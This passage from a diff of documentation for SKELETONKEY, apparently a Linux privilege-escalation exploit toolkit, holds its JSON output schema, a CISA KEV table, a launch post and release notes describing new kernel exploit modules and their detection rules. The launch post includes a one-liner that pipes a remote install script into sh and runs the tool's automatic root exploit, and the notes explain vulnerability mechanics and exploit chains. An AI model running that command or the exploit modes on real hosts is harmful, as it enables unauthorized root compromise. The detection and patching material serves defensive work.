yara rule for the artifact, the falco rule for the runtime signal,
|
||||
and the sigma rule for the hunt.
|
||||
|
||||
## Common false positives + tuning
|
||||
|
||||
| Rule key | False positive | Fix |
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
# SKELETONKEY JSON output schema
|
||||
|
||||
`skeletonkey --scan --json` (and `--auto --json`, planned) emit a
|
||||
single JSON object on **stdout**. All human-readable banner lines and
|
||||
per-module log chatter go to **stderr** in JSON mode — pipes to SIEMs
|
||||
and fleet aggregators get a clean machine-parseable document on
|
||||
stdout while operators still see diagnostics on stderr.
|
||||
|
||||
This document is the contract for that JSON. SKELETONKEY treats it
|
||||
as a stability commitment: new fields may appear in future releases,
|
||||
but existing field names and value types do not change without a
|
||||
major-version bump.
|
||||
|
||||
## Top-level object
|
||||
|
||||
```json
|
||||
{
|
||||
"version": "0.6.0",
|
||||
"modules": [ /* ... per-module entries ... */ ]
|
||||
}
|
||||
```
|
||||
|
||||
| Field | Type | Stability | Meaning |
|
||||
|------------|----------|------------|---------|
|
||||
| `version` | string | stable | The SKELETONKEY release that produced this document. Semver-ish (`MAJOR.MINOR.PATCH`). Consumers may use it to correlate with the corpus inventory in [`CVES.md`](../CVES.md). |
|
||||
| `modules` | array | stable | One entry per registered module, emitted in the order the dispatcher's `--list` reports them. Length grows monotonically as new modules land. |
|
||||
|
||||
## Per-module entry
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "dirty_pipe",
|
||||
"cve": "CVE-2022-0847",
|
||||
"result": "OK"
|
||||
}
|
||||
```
|
||||
|
||||
| Field | Type | Stability | Meaning |
|
||||
|----------|--------|-----------|---------|
|
||||
| `name` | string | stable | The module's CLI identifier — what you pass to `--exploit <name>`. Lowercase, ASCII, `_`-delimited. Never changes for a given module across releases. |
|
||||
| `cve` | string | stable | The CVE identifier (`CVE-YYYY-NNNNN`), or `"VARIANT"` for sibling variants without their own CVE (e.g. `copy_fail_gcm`), or `"-"` for primitives like `entrybleed` that have a CVE-less role. |
|
||||
| `result` | string | stable | One of the `result` enum values below. |
|
||||
|
||||
## `result` enum
|
||||
|
||||
| Value | Exit code | Meaning |
|
||||
|----------------|-----------|---------|
|
||||
| `OK` | 0 | Module's `detect()` ran successfully. Host is **patched** for this CVE, or the bug class is not applicable here (predates the introduction, wrong arch, etc.). Safe to ignore for this host. |
|
||||
| `TEST_ERROR` | 1 | `detect()` could not decide — the host fingerprint is missing data, the version parser failed, or an internal probe errored. Treat as "no information; check manually." |
|
||||
| `VULNERABLE` | 2 | Host is **vulnerable** to this CVE per the module's detect logic (version-based and/or empirical active probe). `--exploit <name> --i-know` will attempt to land root. |
|
||||
| `EXPLOIT_FAIL` | 3 | Only ever returned by `--exploit`, never by `--scan`. Exploit was attempted but did not land root. Diagnostic context goes to stderr. |
|
||||
| `PRECOND_FAIL` | 4 | A documented precondition is not met on this host — examples: unprivileged user namespaces disabled, AppArmor restriction on, sudo not installed, AF_RXRPC unavailable. The bug may exist on the kernel but the carrier path here is closed. |
|
||||
| `EXPLOIT_OK` | 5 | Only ever returned by `--exploit` / `--auto`. Root was achieved; for `--auto` mode this is the process exit code that drove the dispatcher into a root shell. |
|
||||
|
||||
## Process exit code semantics for `--scan`
|
||||
|
||||
The process exit code is the **worst (highest) result code** observed
|
||||
across all modules. This lets a SIEM treat the binary's exit code as
|
||||
a single-host alert level without re-parsing JSON:
|
||||
|
||||
| Exit code | Interpretation |
|
||||
|-----------|-----------------------------------------------------|
|
||||
| 0 | All modules `OK`. Host is patched for the corpus. |
|
||||
| 1 | At least one module returned `TEST_ERROR`. Investigate. |
|
||||
| 2 | At least one module returned `VULNERABLE`. Patch the host. |
|
||||
| 4 | At least one module returned `PRECOND_FAIL` (and none worse). Host has reduced attack surface but is not necessarily safe. |
|
||||
|
||||
(Process exit codes 3 and 5 are exclusive to the `--exploit` /
|
||||
`--auto` modes and never appear in `--scan` output.)
|
||||
|
||||
## Example: invoking + parsing
|
||||
|
||||
```bash
|
||||
# capture pure JSON
|
||||
skeletonkey --scan --json --no-color > host-$(hostname).json 2> /dev/null
|
||||
|
||||
# any vulnerable modules?
|
||||
jq -e '.modules[] | select(.result == "VULNERABLE") | .name' host-*.json
|
||||
|
||||
# fleet roll-up — modules vulnerable across the fleet, by frequency
|
||||
jq -s 'map(.modules[] | select(.result == "VULNERABLE") | .name)
|
||||
| flatten | group_by(.) | map({mod: .[0], count: length})
|
||||
| sort_by(-.count)' host-*.json
|
||||
```
|
||||
|
||||
`jq -e` exits non-zero when its selector matches nothing, giving the
|
||||
fleet runner a per-host "any-vulnerable" boolean without parsing the
|
||||
document.
|
||||
|
||||
## Stability promises
|
||||
|
||||
**Stable across non-major releases:**
|
||||
|
||||
- Field names listed in the tables above (`version`, `modules`, `name`,
|
||||
`cve`, `result`).
|
||||
- The `result` enum string set. New result strings cannot appear
|
||||
without a major version bump.
|
||||
- The `modules` array containing exactly one entry per registered
|
||||
module.
|
||||
- Exit-code semantics for `--scan`.
|
||||
|
||||
**May change without notice:**
|
||||
|
||||
- The `modules` array length, ordering, and contents (new modules are
|
||||
added regularly; ordering follows registration order which is
|
||||
stable per release but not a contract).
|
||||
- Whitespace / formatting of the JSON itself (consumers MUST parse,
|
||||
not regex).
|
||||
- Field values for `cve` (a stub variant could gain a real CVE later).
|
||||
|
||||
**May be added in future minor versions:**
|
||||
|
||||
- New per-module fields (e.g. `family`, `summary`, `safety_rank`,
|
||||
`kernel_range`). Consumers MUST ignore unknown fields.
|
||||
- New top-level fields (e.g. `host_fingerprint`, `scan_started_at`,
|
||||
`schema_version`). Consumers MUST ignore unknown fields.
|
||||
- A `--scan --active --json` output may grow per-probe verdict
|
||||
metadata under a new `probe` sub-object.
|
||||
|
||||
## Recommended consumer pattern
|
||||
|
||||
```python
|
||||
import json, subprocess, sys
|
||||
|
||||
doc = json.loads(subprocess.check_output(
|
||||
["skeletonkey", "--scan", "--json", "--no-color"],
|
||||
stderr=subprocess.DEVNULL,
|
||||
))
|
||||
|
||||
assert doc["version"], "missing top-level version"
|
||||
for mod in doc["modules"]:
|
||||
assert mod["name"] and mod["cve"] and mod["result"], \
|
||||
f"malformed module entry: {mod!r}"
|
||||
if mod["result"] == "VULNERABLE":
|
||||
print(f"{mod['name']} ({mod['cve']}): VULNERABLE", file=sys.stderr)
|
||||
```
|
||||
|
||||
Ignore unknown fields. Match `result` against the enum, but treat
|
||||
unknown strings as `TEST_ERROR`-equivalent (forward-compat).
|
||||
@@ -0,0 +1,61 @@
|
||||
# CISA KEV Cross-Reference
|
||||
|
||||
Which SKELETONKEY modules cover CVEs that CISA has observed exploited
|
||||
in the wild per the Known Exploited Vulnerabilities catalog.
|
||||
Refreshed via `tools/refresh-cve-metadata.py`.
|
||||
|
||||
**13 of 40 modules cover KEV-listed CVEs.**
|
||||
|
||||
## In KEV (prioritize patching)
|
||||
|
||||
| CVE | Date added to KEV | CWE | Module |
|
||||
| --- | --- | --- | --- |
|
||||
| CVE-2019-13272 | 2021-12-10 | ? | `ptrace_traceme_cve_2019_13272` |
|
||||
| CVE-2016-5195 | 2022-03-03 | CWE-362 | `dirty_cow_cve_2016_5195` |
|
||||
| CVE-2021-3156 | 2022-04-06 | CWE-193 | `sudo_samedit_cve_2021_3156` |
|
||||
| CVE-2022-0847 | 2022-04-25 | CWE-665 | `dirty_pipe_cve_2022_0847` |
|
||||
| CVE-2021-4034 | 2022-06-27 | CWE-787 | `pwnkit_cve_2021_4034` |
|
||||
| CVE-2021-3493 | 2022-10-20 | CWE-270 | `overlayfs_cve_2021_3493` |
|
||||
| CVE-2024-1086 | 2024-05-30 | CWE-416 | `nf_tables_cve_2024_1086` |
|
||||
| CVE-2022-0185 | 2024-08-21 | CWE-190 | `fuse_legacy_cve_2022_0185` |
|
||||
| CVE-2023-0386 | 2025-06-17 | CWE-282 | `overlayfs_setuid_cve_2023_0386` |
|
||||
| CVE-2025-32463 | 2025-09-29 | CWE-829 | `sudo_chwoot_cve_2025_32463` |
|
||||
| CVE-2021-22555 | 2025-10-06 | CWE-787 | `netfilter_xtcompat_cve_2021_22555` |
|
||||
| CVE-2018-14634 | 2026-01-26 | CWE-190 | `mutagen_astronomy_cve_2018_14634` |
|
||||
| CVE-2022-0492 | 2026-06-02 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
|
||||
|
||||
## Not in KEV
|
||||
|
||||
Not observed exploited per CISA — but several have public PoC code
|
||||
and are technically reachable. "Not in KEV" is not the same as
|
||||
"safe to ignore".
|
||||
|
||||
| CVE | CWE | Module |
|
||||
| --- | --- | --- |
|
||||
| CVE-2017-7308 | CWE-681 | `af_packet_cve_2017_7308` |
|
||||
| CVE-2019-14287 | CWE-755 | `sudo_runas_neg1_cve_2019_14287` |
|
||||
| CVE-2020-14386 | CWE-250 | `af_packet2_cve_2020_14386` |
|
||||
| CVE-2020-29661 | CWE-416 | `tioscpgrp_cve_2020_29661` |
|
||||
| CVE-2021-33909 | CWE-190 | `sequoia_cve_2021_33909` |
|
||||
| CVE-2022-25636 | CWE-269 | `nft_fwd_dup_cve_2022_25636` |
|
||||
| CVE-2022-2588 | CWE-416 | `cls_route4_cve_2022_2588` |
|
||||
| CVE-2023-0179 | CWE-190 | `nft_payload_cve_2023_0179` |
|
||||
| CVE-2023-0458 | CWE-476 | `entrybleed_cve_2023_0458` |
|
||||
| CVE-2023-2008 | CWE-129 | `vmwgfx_cve_2023_2008` |
|
||||
| CVE-2023-22809 | CWE-269 | `sudoedit_editor_cve_2023_22809` |
|
||||
| CVE-2023-32233 | CWE-416 | `nft_set_uaf_cve_2023_32233` |
|
||||
| CVE-2023-3269 | CWE-416 | `stackrot_cve_2023_3269` |
|
||||
| CVE-2023-4622 | CWE-416 | `af_unix_gc_cve_2023_4622` |
|
||||
| CVE-2024-26581 | ? | `nft_pipapo_cve_2024_26581` |
|
||||
| CVE-2024-50264 | CWE-416 | `vsock_uaf_cve_2024_50264` |
|
||||
| CVE-2025-32462 | CWE-863 | `sudo_host_cve_2025_32462` |
|
||||
| CVE-2025-6019 | CWE-250 | `udisks_libblockdev_cve_2025_6019` |
|
||||
| CVE-2026-23111 | CWE-416 | `nft_catchall_cve_2026_23111` |
|
||||
| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
|
||||
| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
|
||||
| CVE-2026-43494 | ? | `pintheft_cve_2026_43494` |
|
||||
| CVE-2026-43499 | CWE-416 | `ghostlock_cve_2026_43499` |
|
||||
| CVE-2026-46242 | CWE-416 | `bad_epoll_cve_2026_46242` |
|
||||
| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
|
||||
| CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
|
||||
| CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` |
|
||||
+103
@@ -0,0 +1,103 @@
|
||||
# SKELETONKEY — launch post
|
||||
|
||||
> Copy-pasteable for HN, lobste.rs, mastodon, blog. ~600 words.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY: a curated Linux LPE corpus with detection rules baked in
|
||||
|
||||
The Linux privilege-escalation space is fragmented. Single-CVE PoC
|
||||
repos go stale within months. `linux-exploit-suggester` tells you
|
||||
what *might* work but doesn't run anything. `auto-root-exploit` and
|
||||
`kernelpop` bundle exploits but ship no detection signatures and
|
||||
haven't been maintained in years.
|
||||
|
||||
**SKELETONKEY** is one curated binary that:
|
||||
|
||||
1. Fingerprints the host's kernel / distro / sudo / userland.
|
||||
2. Reports which of 28 bundled CVEs that host is still vulnerable
|
||||
to — covering 2016 through 2026.
|
||||
3. With explicit `--i-know` authorization, runs the safest one and
|
||||
gets you root.
|
||||
4. Ships matching **auditd + sigma rules** for every CVE so blue
|
||||
teams get the same coverage when they deploy it.
|
||||
|
||||
### One command
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& export PATH="$HOME/.local/bin:$PATH" \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
`--auto` ranks vulnerable modules by **exploit safety** —
|
||||
structural escapes (no kernel state touched) first, then page-cache
|
||||
writes, then userspace cred-races, then kernel primitives, then
|
||||
kernel races last — and runs the safest match. If it fails it falls
|
||||
back gracefully and tells you the next candidates to try manually.
|
||||
|
||||
### What's in the corpus
|
||||
|
||||
- **Userspace LPE**: pwnkit (CVE-2021-4034), sudo Baron Samedit
|
||||
(CVE-2021-3156), sudoedit EDITOR escape (CVE-2023-22809)
|
||||
- **Page-cache writes**: dirty_pipe (CVE-2022-0847), dirty_cow
|
||||
(CVE-2016-5195), copy_fail family (CVE-2026-31431, 43284, 43500)
|
||||
- **Container/namespace**: cgroup_release_agent (CVE-2022-0492),
|
||||
overlayfs (CVE-2021-3493), overlayfs_setuid (CVE-2023-0386),
|
||||
fuse_legacy (CVE-2022-0185)
|
||||
- **Kernel primitives**: netfilter (4 CVEs from 2022→2024),
|
||||
af_packet (CVE-2017-7308, CVE-2020-14386), cls_route4
|
||||
(CVE-2022-2588), netfilter_xtcompat (CVE-2021-22555)
|
||||
- **Kernel races**: stackrot (CVE-2023-3269), af_unix_gc
|
||||
(CVE-2023-4622), Sequoia (CVE-2021-33909)
|
||||
- **Side channels**: EntryBleed kbase leak (CVE-2023-0458)
|
||||
- **Graphics**: vmwgfx DRM OOB (CVE-2023-2008)
|
||||
- **Userspace classic**: PTRACE_TRACEME (CVE-2019-13272)
|
||||
|
||||
Full inventory at
|
||||
[CVES.md](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md).
|
||||
|
||||
### The verified-vs-claimed bar
|
||||
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||
offsets. Modules with a kernel primitive but no per-kernel
|
||||
cred-overwrite chain default to firing the primitive + grooming the
|
||||
slab + recording an empirical witness, then return
|
||||
`EXPLOIT_FAIL` honestly. The opt-in `--full-chain` engages the
|
||||
shared `modprobe_path` finisher with sentinel-arbitrated success
|
||||
(it only claims root when a setuid bash actually materializes).
|
||||
|
||||
When `--full-chain` needs kernel offsets, you populate them once on
|
||||
a target kernel via `skeletonkey --dump-offsets` (parses
|
||||
`/proc/kallsyms` or `/boot/System.map`) and either set env vars or
|
||||
upstream the entry to `core/offsets.c kernel_table[]` via PR.
|
||||
|
||||
### For each side of the house
|
||||
|
||||
- **Red team**: stop curating broken PoCs. One tested binary, fresh
|
||||
releases, honest scope reporting.
|
||||
- **Sysadmins**: one command, no SaaS, JSON output for CI gates.
|
||||
Fleet-scan tool included.
|
||||
- **Blue team**: `skeletonkey --detect-rules --format=auditd | sudo
|
||||
tee /etc/audit/rules.d/99-skeletonkey.rules` and you have coverage
|
||||
for every CVE in the bundle. Sigma + YARA + Falco output also
|
||||
supported.
|
||||
|
||||
### Status + roadmap
|
||||
|
||||
v0.5.0 today: 28 modules, all build clean on Debian 13 / kernel
|
||||
6.12, all refuse-on-patched verified. The embedded offset table is
|
||||
empty — operator-populated. Next: empirical validation on a
|
||||
multi-distro vuln-kernel VM matrix, then offset-table community
|
||||
seeding for common cloud builds.
|
||||
|
||||
MIT. Each module credits the original CVE reporter and PoC author
|
||||
in its `NOTICE.md`. The research credit belongs to the people who
|
||||
found the bugs; SKELETONKEY is the bundling layer.
|
||||
|
||||
**Repo:** https://github.com/KaraZajac/SKELETONKEY
|
||||
**Release:** https://github.com/KaraZajac/SKELETONKEY/releases/latest
|
||||
|
||||
Authorized testing only. Read [docs/ETHICS.md](ETHICS.md) before you
|
||||
point this at anything you don't own.
|
||||
@@ -0,0 +1,836 @@
|
||||
## SKELETONKEY v0.9.13 — new LPE module: ghostlock (CVE-2026-43499)
|
||||
|
||||
Adds **`ghostlock` — CVE-2026-43499 "GhostLock"** (VEGA / Nebula Security,
|
||||
"IonStack part II"), taking the corpus to **45 modules / 40 CVEs** and opening a
|
||||
brand-new subsystem: **rtmutex / futex requeue-PI** (`kernel/locking/rtmutex.c`).
|
||||
It is also the corpus's first kernel-**stack** use-after-free — every other UAF
|
||||
in the set is heap/slab. On the `-EDEADLK` deadlock-rollback path,
|
||||
`remove_waiter()` operates on `current` instead of the actual waiter task while
|
||||
unwinding a proxy lock in `rt_mutex_start_proxy_lock()` (reached from
|
||||
`futex_requeue()`); if a concurrent PI-chain priority walk — driven from another
|
||||
CPU via `sched_setattr()` — runs at that instant, `pi_blocked_on` is cleared on
|
||||
the wrong task and an on-stack `rt_mutex_waiter` is left dangling, becoming a
|
||||
controlled kernel write when the rbtree is later rotated over the reused frame.
|
||||
Reachable by **any unprivileged user** (CVSS 7.8, PR:L) — plain `futex(2)` +
|
||||
`sched_setattr(2)`, no user namespace, no capability, only `CONFIG_FUTEX_PI`
|
||||
(universal). It has existed since PI-futex requeue landed in **2.6.39** — ~15
|
||||
years across every distribution. The public exploit weaponises it (Android/Pixel)
|
||||
via a "KernelSnitch" futex-bucket page leak → forged waiter → `struct file`
|
||||
`f_op` → configfs/ashmem R/W → pipe physical R/W → cred patch; ~97% stable on
|
||||
kernelCTF, $92,337. Introduced 2.6.39; fixed `3bfdc63936dd` (merged 7.1-rc1),
|
||||
stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 — the
|
||||
5.15/5.10/5.4/4.19 LTS branches are affected with no upstream fix. CWE-416 (race
|
||||
root cause CWE-362); not in CISA KEV.
|
||||
|
||||
🟡 **Trigger (reconstructed) — reachability-only, deliberately under-driven, not
|
||||
VM-verified.** `detect()` is a pure kernel-version gate over a five-branch
|
||||
backport table (7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175, 7.1+ inherits
|
||||
mainline; 5.15/5.10/5.4/4.19 affected with no fix; < 2.6.39 not affected) — no
|
||||
userns/CONFIG probe (`CONFIG_FUTEX_PI` assumed). `exploit()` forks an isolated
|
||||
child that **(A)** deterministically confirms the `-EDEADLK` `remove_waiter()`
|
||||
rollback path is reachable — a **safe** witness, since without a concurrent
|
||||
priority walk the unwind creates no dangling pointer (validated on real hardware:
|
||||
the requeue-PI cycle returns `-EDEADLK` reliably) — then **(B)** exercises the
|
||||
actual race a hard-bounded 24 iterations / 2 s with a sibling-CPU
|
||||
`sched_setattr(SCHED_BATCH)` storm, and stops. It does **not** widen the
|
||||
`copy_from_user` window (no memfd/`PUNCH_HOLE`), does **not** spray or reoccupy
|
||||
the freed stack frame, and does **not** bundle the KernelSnitch leak →
|
||||
forged-waiter → fops/configfs/ashmem/pipe R/W → cred-patch chain (Android/Pixel-
|
||||
specific, per-build offsets). Returns `EXPLOIT_FAIL`. It carries the corpus's
|
||||
**lowest `--auto` safety rank (11)** — a won race corrupts the kernel stack and
|
||||
drives a near-arbitrary pointer write (near-certain panic), so `--auto` only
|
||||
reaches for it after every safer vulnerable module. Unlike most kernel races
|
||||
GhostLock has a **real detection signature**: a futex requeue-PI op returning
|
||||
`-EDEADLK` (glibc never provokes this) plus tight-loop
|
||||
`sched_setattr(SCHED_BATCH)` on a sibling thread — the shipped auditd/sigma rules
|
||||
anchor on `sched_setattr` + the post-exploitation euid-0 transition, the
|
||||
falco/eBPF rule on the requeue-PI-EDEADLK tell; no yara. Wired: registry,
|
||||
Makefile, safety rank (11), 9 `detect()` test rows (incl. the multi-branch
|
||||
"newer than all" case 6.13.0 → VULNERABLE), CVE metadata (CWE-416 / T1068 /
|
||||
not-KEV), README + CVES.md + website counts (45/40), RELEASE_NOTES v0.9.13, and a
|
||||
verify-vm target (sweep pending). Also corrects pre-existing website drift left
|
||||
by v0.9.12 (index.html body counts + the missing `bad_epoll` corpus pill).
|
||||
Credits VEGA / Nebula Security + the upstream fix `3bfdc63936dd`.
|
||||
|
||||
## SKELETONKEY v0.9.12 — new LPE module: bad_epoll (CVE-2026-46242)
|
||||
|
||||
Adds **`bad_epoll` — CVE-2026-46242 "Bad Epoll"** (Jaeyoung Chung /
|
||||
`J-jaeyoung`, submitted to Google's kernelCTF), taking the corpus to **44
|
||||
modules / 39 CVEs** and opening a brand-new subsystem: **epoll /
|
||||
`fs/eventpoll.c`**. A race-condition use-after-free on the file-teardown
|
||||
path — `ep_remove()` clears `file->f_ep` under `file->f_lock` but keeps
|
||||
using the file inside the critical section (`hlist_del_rcu()` +
|
||||
`spin_unlock()`), so a concurrent `__fput()` observes the transient NULL,
|
||||
skips `eventpoll_release_file()`, and frees a `struct eventpoll` still in
|
||||
use. The public exploit weaponises the 8-byte UAF write via a cross-cache
|
||||
attack to a `struct file`, arbitrary kernel read through
|
||||
`/proc/self/fdinfo`, and a ROP chain — ~99% reliable through a
|
||||
~6-instruction window, and reachable by **any unprivileged user with no
|
||||
user namespace, no CONFIG, and no capability** (which also means there is
|
||||
no unprivileged-userns stopgap — the only fix is to patch). Introduced by
|
||||
`58c9b016e128` (Linux 6.4); fixed by `a6dc643c6931` (merged 7.1-rc1),
|
||||
stable backport 7.0.13. CWE-416 (race root cause CWE-362); not in CISA
|
||||
KEV. Also affects Android.
|
||||
|
||||
🟡 **Trigger (reconstructed) — deliberately under-driven, primitive-only,
|
||||
not VM-verified.** A *won* race frees a live `struct eventpoll` — real
|
||||
memory corruption that rarely trips KASAN, so a completed race can
|
||||
silently destabilise a vulnerable host. `detect()` is therefore a pure
|
||||
kernel-version gate (vulnerable iff ≥ 6.4 and below the fix on-branch;
|
||||
stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not affected) with **no
|
||||
active probe** — there is no safe way to distinguish vulnerable from
|
||||
patched without winning the race. `exploit()` forks a CPU-pinned child
|
||||
that builds the epoll race pair and exercises the `ep_remove`-vs-`__fput`
|
||||
concurrent-close window a **hard-bounded** 48 attempts / 2 s (widened with
|
||||
`close(dup())` false-sharing storms), snapshots the eventpoll slab, and
|
||||
returns `EXPLOIT_FAIL`; it does not grind the race to a win, does not do
|
||||
the cross-cache reclaim, and does not bundle the `fdinfo` arbitrary-read +
|
||||
ROP root-pop (per-build offsets refused). It carries the corpus's
|
||||
**lowest `--auto` safety rank (12)** — a kernel race that frees a live
|
||||
`struct file` is the least predictable class, so `--auto` only reaches for
|
||||
it after every safer vulnerable module. Detection is intentionally
|
||||
weak/structural (epoll syscalls are ubiquitous and the exploit rarely
|
||||
trips KASAN) — the shipped auditd/sigma/falco rules key on the
|
||||
post-exploitation euid-0 transition, with no yara; treat this as much as a
|
||||
blue-team "your stack is nearly blind to this" teaching case as an
|
||||
offensive one. Wired: registry, Makefile, safety rank (12), 5 `detect()`
|
||||
test rows (version gating), CVE metadata (CWE-416 / T1068 / not-KEV),
|
||||
README + CVES.md + website counts (44/39), RELEASE_NOTES v0.9.12, and a
|
||||
verify-vm target (sweep pending). Credits Jaeyoung Chung + the upstream
|
||||
fix in `NOTICE.md`. Reconstructed from the public kernelCTF PoC and not
|
||||
VM-verified, so the verified count stays 28 of 39.
|
||||
|
||||
## SKELETONKEY v0.9.11 — new LPE module: nft_catchall (CVE-2026-23111)
|
||||
|
||||
Adds **`nft_catchall` — CVE-2026-23111**, taking the corpus to **43
|
||||
modules / 38 CVEs**. The newest nftables LPE: a **use-after-free** in the
|
||||
nf_tables transaction-abort path. `nft_map_catchall_activate()` carries an
|
||||
inverted condition (a stray `!`) so the abort path processes *active*
|
||||
catch-all map elements instead of skipping them — a catch-all GOTO element
|
||||
drives a chain's use-count to zero, and a following `DELCHAIN` frees the
|
||||
chain while the catch-all verdict still references it → UAF. From an
|
||||
unprivileged user (user namespaces + nftables) it escalates to root via a
|
||||
`modprobe_path` / `selinux_state` ROP. Fixed upstream by commit `f41c5d1`;
|
||||
CWE-416, CVSS 7.8; not in CISA KEV. Public reproduction + analysis by
|
||||
**FuzzingLabs**.
|
||||
|
||||
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
|
||||
one more UAF in the corpus's most-covered subsystem (`nf_tables`,
|
||||
`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …) and ships on the same
|
||||
contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that
|
||||
fires the bug class and stops. `detect()` version-gates against the
|
||||
Debian backports (upstream thresholds 6.1.164 / 6.12.73 / 6.18.10;
|
||||
catch-all set elements arrived ~5.13) **and** requires unprivileged
|
||||
user-namespace clone — a vulnerable kernel with userns locked down is
|
||||
`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO
|
||||
element and provokes an aborting batch transaction to drive the abort-path
|
||||
UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The per-kernel leak +
|
||||
arbitrary-R/W + `modprobe_path` ROP is **not** bundled (per-build offsets
|
||||
refused), and the trigger is reconstructed from the public analysis rather
|
||||
than VM-verified — it never claims root it did not get. Ships auditd +
|
||||
sigma + falco rules, ATT&CK T1068 + CWE-416 metadata, six new `detect()`
|
||||
unit-test rows (version + userns gating), credits FuzzingLabs + the
|
||||
upstream fix in `NOTICE.md`, and a verify-vm target (sweep pending). Not
|
||||
VM-verified, so the verified count stays 28 of 38.
|
||||
|
||||
## SKELETONKEY v0.9.10 — new LPE module: cifswitch (CVE-2026-46243)
|
||||
|
||||
Adds **`cifswitch` — CVE-2026-46243 "CIFSwitch"** (Asim Manizada,
|
||||
2026-05-28), taking the corpus to **42 modules / 37 CVEs**. The newest
|
||||
kernel-7-era LPE not already covered: a ~19-year-old logic flaw in
|
||||
`fs/smb/client/cifs_spnego.c` where the `cifs.spnego` request-key type
|
||||
accepts key descriptions created by *userspace* (`add_key(2)` /
|
||||
`request_key(2)`) without verifying the request came from the in-kernel
|
||||
CIFS client. The description carries authority-bearing fields
|
||||
(`pid`/`uid`/`creduid`/`upcall_target`) that the root `cifs.upcall`
|
||||
helper trusts as kernel-originating; combined with user+mount namespace
|
||||
tricks, an unprivileged user coerces `cifs.upcall` into loading an
|
||||
attacker NSS module as root. Fixed upstream by `3da1fdf4efbc` (merged
|
||||
7.1-rc5); NVD class CWE-20; not in CISA KEV.
|
||||
|
||||
🟡 **Honest port — full chain not VM-verified.** `detect()` gates on the
|
||||
kernel version (Debian backports 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10)
|
||||
**and** on the presence of the vulnerable userspace path — a vulnerable
|
||||
kernel without `cifs-utils` reports `PRECOND_FAIL`, not a false
|
||||
`VULNERABLE` (override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1`
|
||||
/`0`). `exploit()` fires only the non-destructive primitive — `add_key(2)`
|
||||
of a forged-but-benign `cifs.spnego` key, which does **not** invoke
|
||||
`cifs.upcall` and loads nothing, revoked immediately — and treats a clean
|
||||
accept as the empirical witness that userspace can forge the
|
||||
authority-bearing key type. It then stops: the namespace-switch +
|
||||
malicious-NSS-load root-pop is target/config-specific and is not bundled
|
||||
until VM-verified, so it returns honest `EXPLOIT_FAIL` without a euid-0
|
||||
witness (never fabricates root). `--mitigate` blocklists the `cifs`
|
||||
module (`/etc/modprobe.d/skeletonkey-disable-cifs.conf`); `--cleanup`
|
||||
reverts. Structural, arch-agnostic (keyring + namespace logic, no
|
||||
shellcode). Ships auditd + sigma + falco rules, MITRE ATT&CK T1068 +
|
||||
CWE-20 metadata, six new `detect()` unit-test rows, and credits Asim
|
||||
Manizada in `NOTICE.md`. **Partially VM-verified** (2026-06-08, Ubuntu
|
||||
24.04.4 / kernel 6.8.0-117, QEMU/HVF): `detect()`'s precondition + version
|
||||
gating and the `add_key` primitive are confirmed — an independent
|
||||
`python3` `ctypes` `add_key("cifs.spnego", …)` was accepted and the
|
||||
module's `exploit()` reported "primitive CONFIRMED" then honest
|
||||
`EXPLOIT_FAIL`. The full namespace+NSS root-pop and a patched-kernel
|
||||
discriminator check remain pending, so cifswitch is **not** counted as a
|
||||
verified end-to-end CVE — the verified count stays 28 of 37. Details in
|
||||
the module `NOTICE.md` and `tools/verify-vm/targets.yaml`.
|
||||
|
||||
## SKELETONKEY v0.9.9 — install.sh needs no root; CVE-2022-0492 KEV drift
|
||||
|
||||
Two maintenance fixes, no new modules.
|
||||
|
||||
**`install.sh` never escalates to sudo.** SKELETONKEY is a privilege-
|
||||
escalation tool — the operator by definition does *not* have root yet, so
|
||||
the installer must not demand it. The old default wrote to `/usr/local/bin`
|
||||
and fell back to `sudo mv` when that wasn't writable, prompting for a
|
||||
password on exactly the unprivileged accounts this tool targets. It now
|
||||
installs sudo-free: `/usr/local/bin` is used only when already writable,
|
||||
otherwise it falls back to a per-user `$HOME/.local/bin` (honoring
|
||||
`XDG_BIN_HOME`), created as needed. An explicit `SKELETONKEY_PREFIX` is
|
||||
honored exactly and errors rather than escalating if unwritable. When the
|
||||
chosen dir isn't on `$PATH` the installer prints the absolute path, and the
|
||||
documented `curl … | sh && skeletonkey --auto --i-know` one-liner now
|
||||
prepends `$HOME/.local/bin` to `$PATH` so it resolves on a fresh login. The
|
||||
quickstart no longer prefixes `sudo` to `--scan`/`--audit`/`--auto` —
|
||||
detection and escalation run as the unprivileged user; only writing audit
|
||||
rules into `/etc/audit` legitimately needs root.
|
||||
|
||||
**Federal metadata drift (the failing scheduled build).** The weekly
|
||||
`drift-check` caught two upstream changes since v0.9.8:
|
||||
|
||||
- **CVE-2022-0492 entered CISA KEV (2026-06-02).** The cgroup v1
|
||||
`release_agent` container-escape (`cgroup_release_agent`) is now on the
|
||||
Known Exploited Vulnerabilities catalog. The corpus reports **13 of 36**
|
||||
modules covering KEV-listed CVEs (was 12).
|
||||
- **CVE-2026-46333 gained a CWE.** When `ptrace_pidfd` was added two weeks
|
||||
after disclosure, NVD had not yet classified it; it is now **CWE-269**
|
||||
(Improper Privilege Management).
|
||||
|
||||
